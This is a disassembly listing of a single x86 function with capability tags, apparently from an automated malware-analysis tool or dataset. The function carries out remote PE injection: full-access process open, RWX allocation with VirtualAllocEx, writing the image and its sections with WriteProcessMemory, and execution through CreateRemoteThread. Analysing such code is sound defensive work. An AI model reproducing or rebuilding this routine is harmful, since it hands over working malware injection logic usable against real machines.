Function at 0x1001f690
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, eax
xor eax, eax
push edi
mov dword [ebp - 4], eax
test esi, esi
je 0x1001f8e2
cmp dword [ebp + 8], eax
je 0x1001f8e2
cmp dword [ebp + 0xc], eax
je 0x1001f8e2
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov eax, esi
call fcn.1001fea0
test eax, eax
jne 0x1001f6d7
push 0x64
call ebx
inc edi
cmp edi, 0x1e
jl 0x1001f6c2
mov eax, esi
call fcn.1001fea0
test eax, eax
je 0x1001f8df
push esi
push 0x1f0fff
call fcn.100203a0
mov ebx, eax
mov dword [ebp - 0x10], ebx
test ebx, ebx
je 0x1001f8df
push str.kernel32.dll
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1001f735
push str.IsWow64Process
push eax
call esi
mov edi, eax
test edi, edi
je 0x1001f735
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
cmp dword [ebp - 8], 0
je 0x1001f76e
push str.kernel32.dll
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x1001f764
push str.IsWow64Process
push eax
call esi
test eax, eax
je 0x1001f764
lea ecx, [ebp - 8]
push ecx
push ebx
call eax
cmp dword [ebp - 8], 0
je 0x1001f8bc
mov eax, dword [ebp + 8]
mov edi, dword [eax + 0x3c]
mov ecx, dword [ebp + 0xc]
add edi, eax
xor edx, edx
push 0x40
mov dword [edi + 0x58], ecx
mov word [eax], dx
mov eax, dword [edi + 0x50]
push 0x3000
add eax, ecx
push eax
push edx
push ebx
mov dword [edi], edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
je 0x1001f8bc
mov ecx, dword [edi + 0x54]
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
push ecx
push edx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [edi + 0x14]
xor ecx, ecx
lea eax, [eax + edi + 0x18]
mov dword [ebp - 8], 0
cmp cx, word [edi + 6]
jae 0x1001f83e
lea esi, [eax + 8]
mov edx, dword [esi]
push 4
push 0x3000
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x1001f826
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 8]
add ecx, dword [ebp + 8]
push eax
push ecx
push ebx
call sub.ntdll.dll_memcpy
mov eax, dword [esi]
mov ecx, dword [esi + 4]
add ecx, dword [ebp - 0xc]
add esp, 0xc
lea edx, [ebp - 0x14]
push edx
mov edx, dword [ebp - 0x10]
push eax
push ebx
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
movzx ecx, word [edi + 6]
inc eax
add esi, 0x28
mov dword [ebp - 8], eax
cmp eax, ecx
jl 0x1001f7d3
mov esi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x14]
push edx
mov edx, dword [edi + 0x50]
push eax
push ecx
add edx, esi
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edi, dword [edi + 0x28]
push 0
push 0
push ebx
add edi, esi
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push 0
push 0
push 0
push edi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
je 0x1001f885
lea eax, [ebp + 8]
push eax
jmp 0x1001f896
push edi
push ebx
call fcn.1001f5a0
mov esi, eax
test esi, esi
je 0x1001f8bc
lea ecx, [ebp + 8]
push ecx
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001f8b5
test byte [ebp + 8], 2
jne 0x1001f8b5
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 1
lea edx, [ebp + 8]
push edx
push ebx
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001f8df
test byte [ebp + 8], 2
jne 0x1001f8df
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8